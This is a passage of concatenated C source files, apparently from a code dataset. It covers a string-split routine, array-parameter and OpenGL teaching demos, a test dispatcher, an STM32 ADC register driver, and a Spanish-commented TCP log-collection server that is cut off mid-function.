unsigned int h;
h = 0;
i = 0;
while (s[i] && s[i + 1])
{
if (s[i] == c && s[i + 1] != c)
h++;
i++;
}
return (h);
}
static int ft_finish(char const *s, char c)
{
unsigned int j;
j = 0;
while (s[j] != c && s[j] != '\0')
j++;
return (j);
}
static char **free_str(char **ptr, long a)
{
long i;
i = 0;
while (i < a)
{
free(ptr[i]);
i++;
}
free(ptr);
return (NULL);
}
static char *ft_memory(char *str, char const *s, long len, long a)
{
long i;
i = 0;
if (!(str = (char *)malloc(sizeof(char) * (len + 1))))
return (*free_str(&str, a));
while (i < len)
{
str[i] = s[i];
i++;
}
str[i] = '\0';
return (str);
}
char **ft_split(char const *s, char c)
{
char **ptr;
long i;
long h;
long a;
i = 1;
h = 0;
a = 0;
if (s == NULL)
return (NULL);
if (!(ptr = (char **)malloc((ft_words(s, c) + 2) * sizeof(char *))))
return (free_str(ptr, a));
while (s[h] != '\0')
{
if (s[h] != c)
{
i = ft_finish(&s[h], c);
ptr[a] = ft_memory(ptr[a], &s[h], i, a);
a++;
}
h = h + i;
i = 1;
}
ptr[a] = NULL;
return (ptr);
}
|
C
|
/*
this program demonstrates different ways of declaring and
defining functions that have arrays as function parameters
*/
#include <stdio.h>
void printname1(char [], int);
void printname2(char *, int);
void printname3(char [], int); /* notice this doesn't match
the definition */
int main(void)
{
char chararray[] = {68, 97, 114, 105, 110};
int size = sizeof(chararray);
printname1(chararray, size);
printf("\n");
printname2(chararray, size);
printf("\n");
printname3(chararray, size);
printf("\n");
}
/* uses subscript notation */
void printname1(char a[], int num)
{
int i;
for(i = 0; i < num; i++)
printf("%c", a[i]);
}
/* uses pointer notation */
void printname2(char *a, int num)
{
int i;
for(i = 0; i < num; i++)
printf("%c", *(a+i));
}
/* uses subscript and pointer notation */
void printname3(char *a, int num)
{
int i;
for(i = 0; i < num; i++)
printf("%c", a[i]);
}
/**************************************
*********** Output **************
Darin
Darin
Darin
*/
|
C
|
/*
* Question5.c
* Created on: 16/05/2014
* Author: Shane
*/
#include <stdio.h>
#define NLEN 5
int main(void){
int index;
int nums[33] = {-1, 2, -3 , -4, 10};
for (index = 0; index < NLEN; index++){
if (nums[index] > 0) {
printf("%d\n", index);
}
}
return 0;
}
|
C
|
#include <stdio.h>
int main(int argc, char **argv)
{
FILE *myFile;
char buf[4];
myFile = fopen ("/khash","r");
if (myFile != NULL){
while (!feof (myFile)){
for(int i=1;i<argc;i++){
}
fgets (buf, sizeof (buf), myFile);
printf("%.*s",buf);
//stdout(buf);
}
}
else
{
//printf ("Error opening file: %s\n", strerror (errno));
exit (0);
}
return 1;
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include "PrintStreamTest.h"
/**
* A PrintStream class test utility.
*
* @author Petr Kozler (A13B0359P)
*/
// a test function pointer
typedef void (*TestFunction)();
// a test function pointer array length
const int32_t TEST_FUNCTION_COUNT = 19;
// an array of the test function pointers
TestFunction *testFunctions;
/*
Prints help message if the specified function index is not valid.
*/
void usage() {
printf("Zadejte platné číslo testovací metody. (%d - %d)", 0, TEST_FUNCTION_COUNT - 1);
exit(-1);
}
/**
* Calls the PrintStream test function with the index specified in the command-line argument
* and returns the count of errors found during the test as the exit status.
*
* @param argc command-line argument count
* @param argv command-line arguments
* @return exit status
*/
int main(int argc, char** argv) {
testFunctions = malloc(TEST_FUNCTION_COUNT * sizeof(TestFunction));
testFunctions[0] = printTest;
testFunctions[1] = printTest2;
testFunctions[2] = printTest3;
testFunctions[3] = printTest4;
testFunctions[4] = printTest5;
testFunctions[5] = printTest6;
testFunctions[6] = printTest7;
testFunctions[7] = printTest8;
testFunctions[8] = printTest9;
testFunctions[9] = printlnTest;
testFunctions[10] = printlnTest2;
testFunctions[11] = printlnTest3;
testFunctions[12] = printlnTest4;
testFunctions[13] = printlnTest5;
testFunctions[14] = printlnTest6;
testFunctions[15] = printlnTest7;
testFunctions[16] = printlnTest8;
testFunctions[17] = printlnTest9;
testFunctions[18] = printlnTest10;
int32_t n;
if (argc < 2)
{
usage();
}
n = strtol(argv[1], NULL, 10);
testFunctions[n]();
return (EXIT_SUCCESS);
}
|
C
|
#include <GL/glut.h>
void drawshapes() {
glClearColor(0.0f, 0.0f, 0.0f, 1.0f);
glClear(GL_COLOR_BUFFER_BIT);
glBegin(GL_QUADS);
glColor3f(0.0f, 0.0f, 1.0f);
glVertex2f(0.0f, 0.0f);
glVertex2f( 0.0f, .75f);
glVertex2f( -.75f, .75f);
glVertex2f(-.75f, 0.0f);
glEnd();
glLineWidth(2.0);
glColor3f(1.0, 0.0, 0.0);
glBegin(GL_LINES);
glVertex2f(-0.5, -0.5);
glVertex2f(0.5,-0.5);
glEnd();
glColor3f(1.0, 0.0, 0.0);
glPointSize(3.0);
glBegin(GL_POINTS);
glVertex2f(-.25f, -0.25f);
glVertex2f(0.25f, -0.25f);
glEnd();
glBegin(GL_TRIANGLES);
glColor3f( 0, 1, 0 );
glVertex2f( 0,0 );
glVertex2f( .5,.5 );
glVertex2f( 1,0);
glEnd();
glFlush();
}
int main(int argc, char** argv) {
glutInit(&argc, argv);
glutCreateWindow("Drawing some shapes");
glutInitWindowSize(1500, 1500);
glutInitWindowPosition(0, 0);
glutDisplayFunc(drawshapes);
glutMainLoop();
return 0;
}
|
C
|
#include "Adc.h"
#include <stddef.h>
#include <stdint.h>
#include "Exception.h"
#include "STM32Error.h"
//SR
int adcOverrunFlagCheck(AdcReg* adc){
if(adc == NULL){
throwException(ADC_REG_INPUT_NULL,"ADC register input is NULL");
}
return (adc->sr >> 5) & 0x1;
}
int adcRegularChannelStartFlagCheck(AdcReg* adc){
if(adc == NULL){
throwException(ADC_REG_INPUT_NULL,"ADC register input is NULL");
}
return (adc->sr >> 4) & 0x1;
}
int adcInjectedChannelStartFlagCheck(AdcReg* adc){
if(adc == NULL){
throwException(ADC_REG_INPUT_NULL,"ADC register input is NULL");
}
return (adc->sr >> 3) & 0x1;
}
int adcInjectedChannelEOConversionCheck(AdcReg* adc){
if(adc == NULL){
throwException(ADC_REG_INPUT_NULL,"ADC register input is NULL");
}
return (adc->sr >> 2) & 0x1;
}
int adcRegularChannelEOConversionCheck(AdcReg* adc){
if(adc == NULL){
throwException(ADC_REG_INPUT_NULL,"ADC register input is NULL");
}
return (adc->sr >> 1) & 0x1;
}
int adcAnalogWatchDogFlagCheck(AdcReg* adc){
if(adc == NULL){
throwException(ADC_REG_INPUT_NULL,"ADC register input is NULL");;
}
return (adc->sr >> 0) & 0x1;
}
//interrupt
void adcEnableOverrunInterrupt(AdcReg* adc){
if(adc == NULL){
throwException(ADC_REG_INPUT_NULL,"ADC register input is NULL");
}
adc->cr1 &= ~(1 << 26);
adc->cr1 |= 1 << 26;
}
void adcDisableOverrunInterrupt(AdcReg* adc){
if(adc == NULL){
throwException(ADC_REG_INPUT_NULL,"ADC register input is NULL");
}
adc->cr1 |= (1<<26);
adc->cr1 &= ~ (1<<26);
}
void adcEnableInjectedChannelInterrupt(AdcReg* adc){
if(adc == NULL){
throwException(ADC_REG_INPUT_NULL,"ADC register input is NULL");
}
adc->cr1 &= ~(1 << 7);
adc->cr1 |= 1 << 7;
}
void adcDisableInjectedChannelInterrupt(AdcReg* adc){
if(adc == NULL){
throwException(ADC_REG_INPUT_NULL,"ADC register input is NULL");
}
adc->cr1 |= (1<<7);
adc->cr1 &= ~ (1<<7);
}
void adcEnableAnalogWatchdogInterrupt(AdcReg* adc){
if(adc == NULL){
throwException(ADC_REG_INPUT_NULL,"ADC register input is NULL");
}
adc->cr1 &= ~(1 << 6);
adc->cr1 |= 1 << 6;
}
void adcDisableAnalogWatchdogInterrupt(AdcReg* adc){
if(adc == NULL){
throwException(ADC_REG_INPUT_NULL,"ADC register input is NULL");
}
adc->cr1 |= (1<<6);
adc->cr1 &= ~(1<<6);
}
void adcEnableEOCInterrupt(AdcReg* adc){
if(adc == NULL){
throwException(ADC_REG_INPUT_NULL,"ADC register input is NULL");
}
adc->cr1 &= ~(1 << 5);
adc->cr1 |= 1 << 5;
}
void adcDisableEOCInterrupt(AdcReg* adc){
if(adc == NULL){
throwException(ADC_REG_INPUT_NULL,"ADC register input is NULL");
}
adc->cr1 |= (1<<5);
adc->cr1 &= ~(1<<5);
}
void adcSetADCResolution(AdcReg* adc,AdcResolution value){
if(adc == NULL){
throwException(ADC_REG_INPUT_NULL,"ADC register input is NULL");
}
else if(value > 4 || value <0 ){
throwException(ADC_INVALID_RESOLUTION,"ADC input resolution is invalid ");
}
adc->cr1 &= ~(3<<24);
adc->cr1 |= (value<<24);
}
void adcSetWatchdogRegularChannel(AdcReg* adc,EnableDisable mode){
if(adc == NULL){
throwException(ADC_REG_INPUT_NULL,"ADC register input is NULL");
}
else if(mode > ENABLE_MODE || mode < DISABLE_MODE ){
throwException(ADC_INVALID_MODE,"ADC input WatchdogRegularChannel mode is invalid ");
}
adc->cr1 &= ~(1<<23);
adc->cr1 |= (mode<<23);
}
void adcSetWatchdogInjectedChannel(AdcReg* adc,EnableDisable mode){
if(adc == NULL){
throwException(ADC_REG_INPUT_NULL,"ADC register input is NULL");
}
else if(mode > ENABLE_MODE || mode < DISABLE_MODE){
throwException(ADC_INVALID_MODE,"ADC input WatchdogInjectedChannel mode is invalid ");
}
adc->cr1 &= ~(1<<22);
adc->cr1 |= (mode<<22);
}
void adcSetDiscontinuousModeChannelCount(AdcReg* adc,int numberOfChannel){
if(adc == NULL){
throwException(ADC_REG_INPUT_NULL,"ADC register input is NULL");
}
else if( numberOfChannel > 8 ||numberOfChannel < 0 ){
throwException(ADC_INVALID_NUMBER_OF_CHANNEL,"ADC number of channel is invalid ");
}
adc->cr1 &= ~(7<<13);
adc->cr1 |= ((numberOfChannel-1)<<13);
}
void adcSetDiscontinuousModeInjectedChannels(AdcReg* adc,EnableDisable mode){
if(adc == NULL){
throwException(ADC_REG_INPUT_NULL,"ADC register input is NULL");
}
else if(mode > ENABLE_MODE || mode < DISABLE_MODE){
throwException(ADC_INVALID_MODE,"ADC input Discontinuous Mode Injected Channels mode is invalid ");
}
adc->cr1 &= ~(1<<12);
adc->cr1 |= (mode<<12);
}
void adcSetDiscontinuousModeRegularChannels(AdcReg* adc,EnableDisable mode){
if(adc == NULL){
throwException(ADC_REG_INPUT_NULL,"ADC register input is NULL");
}
else if(mode > ENABLE_MODE || mode < DISABLE_MODE){
throwException(ADC_INVALID_MODE,"ADC input Discontinuous Mode Regular Channels mode is invalid ");
}
adc->cr1 &= ~(1<<11);
adc->cr1 |= (mode<<11);
}
void adcSetAutomaticInjectedGroupConversion(AdcReg* adc,EnableDisable mode){
if(adc == NULL){
throwException(ADC_REG_INPUT_NULL,"ADC register input is NULL");
}
else if(mode > ENABLE_MODE || mode < DISABLE_MODE){
throwException(ADC_INVALID_MODE,"ADC input automatic injected Group Conversion mode is invalid ");
}
adc->cr1 &= ~(1<<10);
adc->cr1 |= (mode<<10);
}
void adcEnableAnalogWatchdogsOnAllChannels(AdcReg* adc){
if(adc == NULL){
throwException(ADC_REG_INPUT_NULL,"ADC register input is NULL");
}
adc->cr1 &= ~(1<<9);
adc->cr1 |= (0 << 9);
}
void adcEnableAnalogWatchdogsOnSingleChannels(AdcReg* adc){
if(adc == NULL){
throwException(ADC_REG_INPUT_NULL,"ADC register input is NULL");
}
adc->cr1 &= ~(1<<9);
adc->cr1 |= (1<<9);
}
void adcSetScanMode(AdcReg* adc,EnableDisable mode){
if(adc == NULL){
throwException(ADC_REG_INPUT_NULL,"ADC register input is NULL");
}
else if(mode > ENABLE_MODE || mode < DISABLE_MODE){
throwException(ADC_INVALID_MODE,"ADC input automatic injected Group Conversion mode is invalid ");
}
adc->cr1 &= ~(1<<8);
adc->cr1 |= (mode<<8);
}
void adcAnalogWatchdogChannelSelect(AdcReg* adc,ChannelName channel){
if(adc == NULL){
throwException(ADC_REG_INPUT_NULL,"ADC register input is NULL");
}
else if(channel > CHANNEL_18 ||channel < CHANNEL_0 ){
throwException(ADC_INVALID_CHANNEL,"ADC selected channel for analog watchdogs is invalid ");
}
adc->cr1 &= ~(31<<0);
adc->cr1 |= (channel<<0);
}
void adcSetStartRegularConversion(AdcReg* adc){
if(adc == NULL){
throwException(ADC_REG_INPUT_NULL,"ADC register input is NULL");
}
adc->cr2 &= ~(1<<30);
adc->cr2 |= (1<<30);
}
void adcSetExternalTriggerRegularChannel(AdcReg* adc,TriggerDetection value){
if(adc == NULL){
throwException(ADC_REG_INPUT_NULL,"ADC register input is NULL");
}
else if(value < T_DETECTION_DISABLED || value > T_DETECTION_BOTH_EDGE ){
throwException(ADC_INVALID_TRIGGER_DET,"ADC input trigger detection is invalid");
}
adc->cr2 &= ~(3<<28);
adc->cr2 |= (value<<28);
}
void adcSetStartInjectedConversion(AdcReg* adc){
if(adc == NULL){
throwException(ADC_REG_INPUT_NULL,"ADC register input is NULL");
}
adc->cr2 &= ~(1<<22);
adc->cr2 |= (1<<22);
}
void adcSetExternalEventSelectForRegularGroup(AdcReg* adc,AdcExternalEventRegularGroup value){
adc->cr2 &= ~(15<<24);
adc->cr2 |= (value<<24);
}
void adcSetExternalTriggerInjectedChannel(AdcReg* adc,TriggerDetection value){
if(adc == NULL){
throwException(ADC_REG_INPUT_NULL,"ADC register input is NULL");
}
else if(value < T_DETECTION_DISABLED || value > T_DETECTION_BOTH_EDGE ){
throwException(ADC_INVALID_TRIGGER_DET,"ADC input trigger detection is invalid");
}
adc->cr2 &= ~(3<<20);
adc->cr2 |= (value<<20);
}
void adcSetRightDataAlignment(AdcReg* adc){
if(adc == NULL){
throwException(ADC_REG_INPUT_NULL,"ADC register input is NULL");
}
adc->cr2 &= ~(1<<11);
adc->cr2 |= (0<<11);
}
void adcSetLeftDataAlignment(AdcReg* adc){
if(adc == NULL){
throwException(ADC_REG_INPUT_NULL,"ADC register input is NULL");
}
adc->cr2 &= ~(1<<11);
adc->cr2 |= (1<<11);
}
void adcSetContinousConvertion(AdcReg* adc){
if(adc == NULL){
throwException(ADC_REG_INPUT_NULL,"ADC register input is NULL");
}
adc->cr2 &= ~(1<<1);
adc->cr2 |= (1<<1);
}
void adcSetSingleConvertion(AdcReg* adc){
if(adc == NULL){
throwException(ADC_REG_INPUT_NULL,"ADC register input is NULL");
}
adc->cr2 &= ~(1<<1);
adc->cr2 |= (0<<1);
}
void adcEnableADCConversion(AdcReg* adc){
if(adc == NULL){
throwException(ADC_REG_INPUT_NULL,"ADC register input is NULL");
}
adc->cr2 &= ~(1<<0);
adc->cr2 |= (1<<0);
}
void adcDisableADCConversion(AdcReg* adc){
if(adc == NULL){
throwException(ADC_REG_INPUT_NULL,"ADC register input is NULL");
}
adc->cr2 &= ~(1<<0);
adc->cr2 |= (0<<0);
}
void adcSetSamplingTime(AdcReg* adc,ChannelName channel,AdcSamplingCycle cycleTime){
if(adc == NULL){
throwException(ADC_REG_INPUT_NULL,"ADC register input is NULL");
}
else if(channel > 18 ||channel < 0 ){
throwException(ADC_INVALID_CHANNEL,"ADC selected channel for sampling time is invalid ");
}
else if(cycleTime > ADC_SAMP_480_CYCLES ||cycleTime < ADC_SAMP_3_CYCLES ){
throwException(ADC_INVALID_CYCLETIME,"ADC cycleTime for sampling time is invalid");
}
if(channel > 9){
adc->smpr1 &= ~(7<<(3*(channel-10)));
adc->smpr1 |= (cycleTime<<(3*(channel-10)));
}
else{
adc->smpr2 &= ~(7<<(3*(channel)));
adc->smpr2 |= (cycleTime<<(3*(channel)));
}
}
void adcSetWatchdogHigherThreshold(AdcReg* adc,int threshold){
if(adc == NULL){
throwException(ADC_REG_INPUT_NULL,"ADC register input is NULL");
}
else if(threshold < 0 || threshold > 0xFFF){
throwException(ADC_INVALID_THRESHOLD_VALUE,"ADC threshold value is invalid");
}
adc->htr = threshold & 0xFFF;
}
void adcSetWatchdogLowerThreshold(AdcReg* adc,int threshold){
if(adc == NULL){
throwException(ADC_REG_INPUT_NULL,"ADC register input is NULL");
}
else if(threshold < 0 || threshold > 0xFFF){
throwException(ADC_INVALID_THRESHOLD_VALUE,"ADC threshold value is invalid for watchdogs lower threshold");
}
adc->ltr = threshold & 0xFFF;
}
void adcSetRegularSequence(AdcReg* adc , ChannelName sequence[]){
int arraySize = 0 ;
if(adc == NULL){
throwException(ADC_REG_INPUT_NULL,"ADC register input is NULL");
}
for(int i = 0 ; sequence[i] != END_OF_CHANNEL_SEQ ;i++){
if(i > 15 && sequence[i] != END_OF_CHANNEL_SEQ ){
throwException(ADC_REGULAR_SEQUENCE_OVER,"the sequence for injected only expect 4 item but the sequence array larger than 4");
break;
}else if(sequence[i] > CHANNEL_18 || sequence[i] < 0){
throwException(ADC_INVALID_SEQUENCE_NUM,"invalid sequence number on sequence %d for regular sequence",i+1);
}
adcSetSingleSequenceRegister(adc,sequence[i],i+1);
arraySize++;
}
adcSetRegularSequenceLength(adc,arraySize);
}
void adcSetRegularSequenceLength(AdcReg* adc,int length){
if(adc == NULL){
throwException(ADC_REG_INPUT_NULL,"ADC register input is NULL");
}
else if ( length > 16 ||length <= 0 ){
throwException(ADC_INVALID_SEQUENCE_LENGTH,"ADC invalid length for regular sequence");
}
adc->sqr1 &= ~(15<<20);
adc->sqr1 |= ((length-1)<<20);
}
void adcSetSingleSequenceRegister(AdcReg* adc,ChannelName channel,int sequenceNum){
if(adc == NULL){
throwException(ADC_REG_INPUT_NULL,"ADC register input is NULL");
}
else if ( sequenceNum > 16 ||sequenceNum <= 0 ){
throwException(ADC_INVALID_SEQUENCE_NUM,"ADC invalid sequence number for regular sequence");
}
if(channel < 0 ||channel >CHANNEL_18){
throwException(ADC_INVALID_CHANNEL,"ADC invalid channel to set single sequence register");
}
int shiftBit = sequenceNum -1;
if(sequenceNum < 7){
adc->sqr3 &= ~(31<<(shiftBit*5));
adc->sqr3 |= (channel<<(shiftBit*5));
}
else if (sequenceNum > 6 && sequenceNum < 13){
adc->sqr2 &= ~(31<<((shiftBit-6)*5));
adc->sqr2 |= (channel<<((shiftBit-6)*5));
}
else{
adc->sqr1 &= ~(31<<((shiftBit-12)*5));
adc->sqr1 |= (channel<<((shiftBit-12)*5));
}
}
void adcSetInjectedSequence(AdcReg* adc , ChannelName sequence[]){
int arraySize = 0 ;
if(adc == NULL){
throwException(ADC_REG_INPUT_NULL,"ADC register input is NULL");
}
for(int i = 0 ; sequence[i] != END_OF_CHANNEL_SEQ ;i++){
if(i > 3 && sequence[i] != END_OF_CHANNEL_SEQ ){
throwException(ADC_INJECT_SEQUENCE_OVER,"the sequence for injected only expect 4 item but the sequence array larger than 4");
break;
}else if(sequence[i] > CHANNEL_18 || sequence[i] < 0){
throwException(ADC_INVALID_SEQUENCE_NUM,"invalid sequence number on sequence %d for regular sequence",i+1);
}
adcSetSingleInjectionRegister(adc,sequence[i],i+1);
arraySize++;
}
adcSetInjectedSequenceLength(adc,arraySize);
}
void adcSetInjectedSequenceLength(AdcReg* adc,int length){
if(adc == NULL){
throwException(ADC_REG_INPUT_NULL,"ADC register input is NULL");
}
else if ( length > 4 ||length <= 0 ){
throwException(ADC_INVALID_SEQUENCE_LENGTH,"ADC invalid length for injected sequence");
}
adc->jsqr &= ~(3<<20);
adc->jsqr |= ((length-1)<<20);
}
void adcSetSingleInjectionRegister(AdcReg* adc,ChannelName channel,int sequenceNum){
if(adc == NULL){
throwException(ADC_REG_INPUT_NULL,"ADC register input is NULL");
}
else if ( sequenceNum > 4 ||sequenceNum <= 0 ){
throwException(ADC_INVALID_SEQUENCE_NUM,"ADC invalid sequence number for regular sequence");
}
if(channel < 0 ||channel >CHANNEL_18){
throwException(ADC_INVALID_CHANNEL,"ADC invalid channel to set single injected sequence register");
}
int shiftBit = sequenceNum -1;
adc->jsqr &= ~(31<<((shiftBit*5)));
adc->jsqr |= (channel<<((shiftBit*5)));
}
int adcReadInjectedDataReg1(AdcReg* adc){
if(adc == NULL){
throwException(ADC_REG_INPUT_NULL,"ADC register input is NULL");
}
return adc->jdr1 & 0xFFFF;
}
int adcReadInjectedDataReg2(AdcReg* adc){
if(adc == NULL){
throwException(ADC_REG_INPUT_NULL,"ADC register input is NULL");
}
return adc->jdr2 & 0xFFFF;
}
int adcReadInjectedDataReg3(AdcReg* adc){
if(adc == NULL){
throwException(ADC_REG_INPUT_NULL,"ADC register input is NULL");
}
return adc->jdr3 & 0xFFFF;
}
int adcReadInjectedDataReg4(AdcReg* adc){
if(adc == NULL){
throwException(ADC_REG_INPUT_NULL,"ADC register input is NULL");
}
return adc->jdr4 & 0xFFFF;
}
int adcReadRegularDataReg(AdcReg* adc){
if(adc == NULL){
throwException(ADC_REG_INPUT_NULL,"ADC register input is NULL");
}
return adc->dr & 0xFFFF;
}
void adcEnableTempSensorAndVref(AdcCommonReg * adcCommon){
if(adcCommon == NULL){
throwException(ADC_REG_INPUT_NULL,"ADC register input is NULL");
}
adcDisableVbatChannel(adcCommon);
adcCommon->ccr &= ~(1<<23);
adcCommon->ccr |= (1<<23);
}
void adcDisableTempSensorAndVref(AdcCommonReg * adcCommon){
if(adcCommon == NULL){
throwException(ADC_REG_INPUT_NULL,"ADC register input is NULL");
}
adcCommon->ccr &= ~(1<<23);
adcCommon->ccr |= (0<<23);
}
void adcEnableVbatChannel(AdcCommonReg * adcCommon){
if(adcCommon == NULL){
throwException(ADC_REG_INPUT_NULL,"ADC register input is NULL");
}
adcCommon->ccr &= ~(1<<22);
adcCommon->ccr |= (1<<22);
}
void adcDisableVbatChannel(AdcCommonReg * adcCommon){
if(adcCommon == NULL){
throwException(ADC_REG_INPUT_NULL,"ADC register input is NULL");
}
adcCommon->ccr &= ~(1<<22);
adcCommon->ccr |= (0<<22);
}
void adcSetPrescaler(AdcCommonReg * adcCommon , AdcSetPrescaler prescale){
if(adcCommon == NULL){
throwException(ADC_REG_INPUT_NULL,"ADC register input is NULL");
}
else if (prescale < ADC_PRESCALE_DIVIDE_2 || prescale > ADC_PRESCALE_DIVIDE_8){
throwException(ADC_INVALID_PRESCALER,"invalid prescaler");
}
adcCommon->ccr &= ~(3<<16);
adcCommon->ccr |= (prescale<<16);
}
|
C
|
/**
* Implementación de las funciones y constantes del programa svr_s
*
* @file Operacionesvr_s.c
* @author Luiscarlo Rivera 09-11020, Daniel Leones 09-10977
*
*/
#include "Operacionesvr_s.h"
/*Semaforo para garantizar integridad de las bitacoras*/
pthread_mutex_t candado;
/**
* Abre un socket TCP para recibir información
* @param nroPuerto Número del puerto del servidor
* @return Descriptor del socket si tuvo exito, -1 si falló
*/
int Abrir_Socket(int nroPuerto) {
int sockfd; /* descriptor para el socket */
struct sockaddr_in my_addr; /* direccion IP y numero de puerto local */
/* se crea el socket */
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror("Socket no creado");
return -1;
}
/* Se establece la estructura my_addr para luego llamar a bind() */
my_addr.sin_family = AF_INET; /* usa host byte order */
my_addr.sin_port = htons(nroPuerto); /* usa network byte order */
my_addr.sin_addr.s_addr = INADDR_ANY; /* escuchamos en todas las IPs */
bzero(&(my_addr.sin_zero), 8); /* rellena con ceros el resto de la estructura */
/* Se le da un nombre al socket (se lo asocia al puerto e IPs) */
printf("Asignado direccion al socket ....\n");
if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1) {
perror("bind");
return -1;
}
/*Se ordena la escucha para atender las solicitudes de conexión */
if (listen(sockfd,5)==-1) {
perror("listen");
return -1;
}
return sockfd;
}
/**
* Atiende, mediante hilos, las peticiones de los clientes.
* @param Estructura Args Id. Cliente.
* @return Estructura Msg Enviar alarmas encontradas, NULL si falló
*/
void* Atender_Clientes(void* dat)
{
Args *registroCliente = (Args *) dat;
Msg *informacion=NULL;
int numbytes=0;
char *buffer=NULL;
char* alarma=NULL;
int recuperacion=FALSE, err=0;
/* Buffer de recepción */
buffer=Pedir_Memoria(BUFFER_LEN);
if (buffer==NULL){
fprintf(stderr, "No hay memoria disponible: %s\n", strerror(errno));
pthread_exit(NULL);
}
/* Recepción de datos */
if ((numbytes=recv(registroCliente->sockCliente,buffer,BUFFER_LEN,0))==-1) {
err=errno;
manejarClienteCaido(err,registroCliente->idCliente);
perror("recv");
pthread_exit(NULL);
}
alarma=Pedir_Memoria(numbytes+1);
if (alarma==NULL){
fprintf(stderr, "No hay memoria disponible: %s\n", strerror(errno));
pthread_exit(NULL);
}
buffer[numbytes]='\0';
/* Se visualiza lo recibido y se da la orden de escritura en la bitacora */
printf("\npaquete proveniente de : %s\n",inet_ntoa((registroCliente->idCliente).sin_addr));
printf("longitud del paquete en bytes: %d\n",numbytes);
printf("el paquete contiene: %s\n", buffer);
if (numbytes>0){
if (!(procesarMensaje(registroCliente->bitacoraA, registroCliente->bitacoraG,
buffer,numbytes,alarma,&recuperacion))) {
pthread_exit(NULL);
}
} else {
pthread_exit(NULL);
}
if (recuperacion){
informacion=modoRecuperacion(&recuperacion,registroCliente);
} else {
/*Modo normal*/
/*Crear estructura de retorno al programa principal */
informacion=contruirDatosSalientes(numbytes);
if (informacion==NULL){
fprintf(stderr, "Datos sin retornar: %s\n", strerror(errno));
pthread_exit(NULL);
}
strncpy(informacion->mensaje,alarma,strlen(alarma)+1);
informacion->idCliente=registroCliente->idCliente;
free(buffer);
free(alarma);
}
pthread_exit(informacion);
}
/**
* Clasificacion de los patrones de errores y escritura en la bitacora de alarmas
* @param Estructura Args Id. Cliente.
* @param bitacoraA Descrpitor de bitacora de alarmas.
* @param bitacoraG Descrpitor de bitacora general.
* @param buffer Espacio reservado para el mensaje a procesar
* @param numbytes Numero de caracteres leidos.
* @return salida Mensaje de alarma. Si hubiere. En caso contrario, NULL.
* @return recuperar Enviar alarmas encontradas. En caso contrario, FALSE.
* @return TRUE exito. FALSE en caso contrario.
*/
int procesarMensaje(FILE *bitacoraA, FILE* bitacoraG,
char* buffer, int numbytes, char* salida, int *recuperar){
char *buffer2=NULL;
char *subcadena=NULL;
char *cadena=NULL;
char* entradaBita=NULL;
int k=0,i=0, cent=TRUE;
if ((buffer==NULL) || (numbytes>0)) {
//printf("resumen: %s\n", buffer);
entradaBita=Pedir_Memoria(numbytes+1);
if (entradaBita==NULL){
fprintf(stderr, "No hay memoria disponible: %s\n", strerror(errno));
salida=NULL;
return FALSE;
}
/* Disecciona los campos del formato hasta encontrar la descripcion del mensaje. */
for (k = 0, cadena=buffer; k<(NROCAMPOS-1) ; k++, cadena=NULL) {
if (NULL!=(subcadena=strtok_r(cadena, " ", &buffer2))) {
strncat(entradaBita,subcadena, strlen(subcadena));
strncat(entradaBita," ",2);
//printf("subcadena: %s\n", subcadena);
}
}
/*
* Clasificacion de los patrones de errores y escritura en la
* bitacora de alarmas. Si no encuentra un error pasa
* escribir en la bitacora general. Se pasa la descripcion del
* mensaje a Atender_hilos.
*/
buffer2[strlen(buffer2)]='\0';
for (i = 0; i < MROMENSAJERRORES ; i++) {
if (compararMensajes(mensajesErrores[i],buffer2)) {
strncat(entradaBita,buffer2,strlen(buffer2)+1);
strncpy(salida,entradaBita,strlen(entradaBita)+1);
salida[strlen(salida)]='\0';
pthread_mutex_lock(&candado);
fprintf(bitacoraA, "%s\n", entradaBita);
fflush(bitacoraA);
//sendmail(TO,FROM,SUBJECT, entradaBita);
pthread_mutex_unlock(&candado);
cent=FALSE;
}
}
/*Activa el modo de recuperacion pasando un booleano hasta el main del hilo.*/
if (compararMensajes(mensajesErrores[MROMENSAJERRORES-2],buffer2)) {
*recuperar=TRUE;
}
/*Escritura en la bitacora general. */
if (cent){
//printf("entrada a bitacora(No Error): (%s)\n", entradaBita);
strncat(entradaBita,buffer2,strlen(buffer2));
pthread_mutex_lock(&candado);
fprintf(bitacoraG, "%s\n", entradaBita);
fflush(bitacoraG);
pthread_mutex_unlock(&candado);
}
//printf("entrada Final a bitacora: (%s) %d -- %d\n", entradaBita, (int)strlen(entradaBita), numbytes);
free(entradaBita);
subcadena=NULL;
cadena=NULL;
}
return TRUE;
}
/* Para hacer la recuperacion:
-Se envia el mensaje Modo Recuperacion
-Se envia la cantidad de mensajes perdidos
Mantener el socket del cliente abierto*/
/**
* Ejecutar el modo recuperacion del servidor.
* @param Estructura Args Id. Cliente.
* @return recuperar (Des)activacion del modo.
* @return Estructura Msg Datos para programa principal. NULL en caso contrario.
*/
Msg* modoRecuperacion(int *recuperar, Args *regCliente){
int numbytes=0;
char* buffer=NULL;
char** resumen=NULL;
char** salida=NULL;
Msg *informacion=NULL;
int i=0, nroMensajes=0, err=0;
//printf("MODO DE RECUPERACION\n");
/*Buffer de recepción */
buffer=Pedir_Memoria(BUFFER_LEN);
if (buffer==NULL){
fprintf(stderr, "No hay memoria disponible: %s\n", strerror(errno));
pthread_exit(NULL);
}
/*Recepcion del numero de entradas perdidas*/
if ((numbytes=recv(regCliente->sockCliente,buffer,BUFFER_LEN,0))==-1) {
err=errno;
manejarClienteCaido(err,regCliente->idCliente);
perror("recv");
pthread_exit(NULL);
}
buffer[numbytes]='\0';
//printf("Nro mensajes: %s\n", buffer);
nroMensajes=atoi(buffer);
/*Arreglo de entradas perdidas*/
if ((resumen=(char**)malloc(sizeof(char*)*nroMensajes))==NULL) {
fprintf(stderr, "Datos sin retornar: %s\n", strerror(errno));
pthread_exit(NULL);
}
memset(resumen, 0, sizeof(resumen));
memset(buffer, 0, sizeof(buffer));
/*Recepcion de todas las entradas perdidas*/
for (i = 0; i < nroMensajes; i++) {
/* Recepción de datos */
if ((numbytes=recv(regCliente->sockCliente,buffer,BUFFER_LEN,0))==-1) {
err=errno;
manejarClienteCaido(err,regCliente->idCliente);
perror("recv");
pthread_exit(NULL);
}
buffer[numbytes]='\0';
resumen[i]=Pedir_Memoria(numbytes+1);
if (resumen[i]==NULL){
